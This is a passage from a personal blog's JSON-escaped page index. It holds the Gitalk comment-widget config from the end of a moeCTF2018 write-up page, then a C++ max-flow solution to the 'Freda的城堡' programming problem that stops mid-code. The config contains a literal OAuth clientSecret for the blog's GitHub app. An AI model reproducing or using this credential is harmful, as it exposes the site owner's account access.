id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2018/08/26/Security/Writeup/moeCTF2018/"},{"title":"旧的几篇题解","time":"2018-07-31T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e一些高中时候的奇怪题解\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"Freda的城堡\"\u003eFreda的城堡\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e来源: codevs 2490/bzoj3035/gxyz.openjudge.cn1186\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e一些高中时候的奇怪题解\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"Freda的城堡\"\u003eFreda的城堡\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: codevs 2490/bzoj3035/gxyz.openjudge.cn11867\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"思路\"\u003e思路\u003c/h3\u003e\u003cp\u003e将每个入侵者与每个防御塔分别抽象成两个点集{invaders},{defences}\u003cbr\u003e将每个防御塔每次射击与其能够达到的入侵者连边,这样我们就得到了一幅二分图\u003c/p\u003e\u003cul\u003e\u003cli\u003e”每次射击”:\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e拿一个防御塔来说,它每t时会发射一次,总共有T时,那么它可以发射floor(T/t)次,也就是说它可以消灭这么多次个敌人。将每次发射抽象为一个点,连边,如:若有N个防御塔,第i个防御塔第n次发射抽象出的点为(i*n+N)。\u003c/p\u003e\u003cp\u003e问题转化为:\u003cbr\u003e第$i$次发射记为$d_i$,第$i$个入侵者记为$t_i$,找到集合大小$|{d}|$的最小值。此时${d}$与${t}$最接近二分图的完美匹配\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cmath\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iomanip\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e INF 0x7fff\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e SIZE 1000000\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e launchers, invaders;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e launchT, cooldownT;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e Distance[\u003cspan class=\"number\"\u003e300\u003c/span\u003e][\u003cspan class=\"number\"\u003e300\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e head[SIZE], Next[SIZE], tot = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, Start, End;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eedge\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dest, Time;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125; graph_list[SIZE];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003epush_front\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e from, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e to, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e weight)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e graph_list[++tot].dest = to;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e graph_list[tot].Time = weight;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Next[tot] = head[from];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e head[from] = tot;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003econnect\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e from, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e to, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e d)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e(from, to, d);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e(to, from, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003equeue\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; bfsCore;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e depth[SIZE];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003ebfs\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(depth, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(depth));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (bfsCore.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e bfsCore.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e depth[Start] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e bfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(Start);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (bfsCore.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = bfsCore.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e bfsCore.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = head[current]; i; i = Next[i]) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dest = graph_list[i].dest;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!depth[dest] \u0026amp;\u0026amp; graph_list[i].Time)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e depth[dest] = depth[current] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e bfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(dest);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (depth[End])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003edfs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e CurrentTime)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (current == End || CurrentTime == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e CurrentTime;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e remaining = CurrentTime;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = head[current]; i; i = Next[i]) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e v = graph_list[i].dest;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (depth[v] == depth[current] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026amp;\u0026amp; graph_list[i].Time) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e timeRemaining = \u003cspan class=\"built_in\"\u003edfs\u003c/span\u003e(v, \u003cspan class=\"built_in\"\u003emin\u003c/span\u003e(remaining, graph_list[i].Time));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (timeRemaining \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e remaining -= timeRemaining;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e graph_list[i].Time -= timeRemaining;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e graph_list[i ^ \u003cspan class=\"number\"\u003e1\u003c/span\u003e].Time += timeRemaining;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!remaining)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e depth[v] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (CurrentTime - remaining == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e depth[current] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e CurrentTime - remaining;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eCan_kill\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ans = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ebfs\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e tmp = \u003cspan class=\"built_in\"\u003edfs\u003c/span\u003e(Start, INF);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (tmp == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ans += tmp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ans;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eable_to_success\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e givenTime)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tot = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(head, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(head));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(Next, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e Next);\u003c/span\u003e\u003cbr\u003e\u003cspan 